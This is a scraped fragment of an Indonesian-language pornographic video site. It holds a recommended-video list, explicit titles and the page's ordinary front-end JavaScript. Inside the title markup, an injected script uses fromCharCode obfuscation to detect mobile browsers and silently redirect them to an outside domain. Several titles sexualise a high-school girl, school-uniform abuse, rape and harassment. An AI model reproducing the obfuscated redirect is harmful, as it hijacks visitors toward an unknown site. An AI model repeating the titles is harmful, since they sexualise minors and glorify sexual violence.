Video yang Direkomendasikan
45:01
</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Seorang mahasiswi tahun kedua berselingkuh dengan pacarnya dengan bekerja sebagai pekerja seks komersial dan mengalami pembengkakan akibat berhubungan seks.</script></title>
Seorang mahasiswi tahun kedua berselingkuh dengan pacarnya dengan bekerja sebagai pekerja seks komersial dan mengalami pembengkakan akibat berhubungan seks.","lastmod":"2026-07-11","duration":"45:01","url":"/play/19163557.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2UxNGYzNmQ1NTcwOGZiMWIwNGIwYTRiMmY5ZWY1ZjguanBn.cache","vod_id":18957299,"title":"“Selebriti Internet Terkemuka Terbongkar” - Seorang mahasiswi internasional berusia 23 tahun yang sangat cantik dan berkacamata, menyerupai seorang selebriti tertentu, melakukan masturbasi, seks oral, dan menelan air mani (4)","lastmod":"2025-12-14","duration":"00:02:01","url":"/play/18957299.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEzL2hFZ0NEZDFkLzEuanBn.cache","vod_id":19148234,"title":"Seorang gadis SMA yang naif dan polos dengan bulu kemaluan yang tipis diancam dan dinodai oleh seorang gangster.","lastmod":"2026-03-14","duration":"52:38","url":"/play/19148234.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGVhZDI2MWVlZDIwZmQzOTNhODJmMDlhMTdlY2UxNDMuanBn.cache","vod_id":18928338,"title":"DUVV-017 Vagina mahasiswi hamil Kyoto basah kuyup oleh sperma 2","lastmod":"2025-12-14","duration":"01:56:54","url":"/play/18928338.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGJlYTM1MTczZTg3MWFiY2VmNTFmMTNkNTgwOGNhNzMuanBn.cache","vod_id":18985146,"title":"10musume Natural Girl 092323_01 Yoko Osaka, seorang mahasiswi musik berusia 21 tahun dengan ukuran dada E-cup dan sosok yang sangat seksi.","lastmod":"2025-03-23","duration":"01:03:25","url":"/play/18985146.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzFhNDA4ZWMwMzA2MjYzNmRhOTVmMDFlN2RkYTYzNjQuanBn.cache","vod_id":18992774,"title":"JUFE-072 Seorang mahasiswi yang melarikan diri setelah diperkosa ditangkap dan dipermalukan. Seluruh tubuhnya dimodifikasi menjadi organ seksual, dan dia dimakan saat melakukan hubungan seks orgasme abnormal. Karen Mifner 1","lastmod":"2025-12-14","duration":"02:25:09","url":"/play/18992774.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGEyZDI1MWM3NGNlMDk3Mjg3MmIxYjM2MzQ1MWUzOWIuanBn.cache","vod_id":19022953,"title":"HMN433C Pelaku pelecehan di kereta api saat saya masih mahasiswa menikah lagi dengan ibu saya—sejak hari itu, saya mendengarkannya setiap hari dan dilecehkan olehnya saat mengenakan seragam sekolah.","lastmod":"2025-03-24","duration":"02:30:10","url":"/play/19022953.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTNmNTZjNzNmODkwMTlhMjFiODI1MGM4MTNhMDg3ZWEuanBn.cache","vod_id":18970656,"title":"413INSTV-402 [Pasangan Mahasiswa Liburan Musim Panas] Super Menawan♪ Merekam adegan seks nyata pasangan pemenang. Aku hanya kenal satu orang.","lastmod":"2025-03-23","duration":"01:00:04","url":"/play/18970656.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDYvYmY1ZjI0Y2ViYTBmNzMxYzE3YzNkNjU0YTI4ZGYyMTIuanBn.cache","vod_id":19036802,"title":"JUQ696 Ini adalah cerita tentang seorang pria yang melakukan pelecehan seksual terhadap seorang bos wanita seksi yang tegas terhadap bawahannya, tetapi alih-alih marah, dia malah berhubungan seks dengannya.","lastmod":"2025-06-06","duration":"02:00:21","url":"/play/19036802.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTI1MDE2NzQyMDM0Zjk5NTBjYzc5OWRmNzEwZDU5ODAuanBn.cache","vod_id":18930256,"title":"KNAM-013 Sepenuhnya Liar [email protected] Hikaru #KelinciKetatDanLiar #PayudaraCantik #MahasiswiCupDC #OrgasmeMainanDenganMataTertutup #InseminasiBerkelanjutan #DiaTidakBisaMenolakKeliaran #HanyaKeliaranYangBisaDiaMencapaiOrgasme Hikaru Takagi","lastmod":"2025-12-14","duration":"02:14:02","url":"/play/18930256.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOThmMGZlNGI3M2MwZWUzOWRmNTYxNzViMGFlMmUyYjguanBn.cache","vod_id":19000484,"title":"[Lesbian] Dua gadis cantik bermain saling menjilat, apakah itu cukup untuk membuat jantungmu berdebar?","lastmod":"2025-03-23","duration":"10:25","url":"/play/19000484.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmJlMmUxZDhjOWNiN2ViOTBjNDU1NjQ0MmY1MGZjZWUuanBn.cache","vod_id":18991906,"title":"348NTR-008【男演员的鸡巴太疯狂了,保证让她上当! ! 】性格娇小、惹人喜爱的女友(24岁,IT会计)在男友的强烈要求下出演成人影片!但当她看到男演员那根巨大的鸡巴时,她就变得完全不同了,而且非常有攻击性! !她的阴部湿透了,看起来就像一个发情的婊子,想要展示她那从未在男友面前展示过的 100% 女性面孔! ! !演员们非常激动,他们一路晋级到第二轮! ! ! NTR.net案例81","lastmod":"2025-03-23","duration":"01:25:23","url":"/play/18991906.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjYvNGJjYzJiZGIwODIwN2Y0M2VjNDViMjdhYmU3NTgzMGIuanBn.cache","vod_id":19048538,"title":"Pengalaman pertama seorang mahasiswi berkulit cerah dalam pembuatan film sebelum memasuki industri film dewasa.","lastmod":"2025-08-26","duration":"10:01","url":"/play/19048538.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDczYzJjZmNiNjVhYmI5OGY0Nzk1NGI5OTI5NzVmNzUuanBn.cache","vod_id":18966610,"title":"Menunjukkan wajahmu adalah kuncinya! Aisha, mantan influencer Pornhub dan mahasiswi Shanghai yang telah meninggalkan dunia tersebut, adalah wanita yang sangat promiskuitas dengan penampilan yang anggun, terlibat dalam berbagai bentuk seks dan ejakulasi. (3)","lastmod":"2025-12-14","duration":"00:07:00","url":"/play/18966610.html"}]},
videoTitle: 'Caribbeancom 080125-001 menargetkan mahasiswi yang naif dengan daya tarik seksual dewasa.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}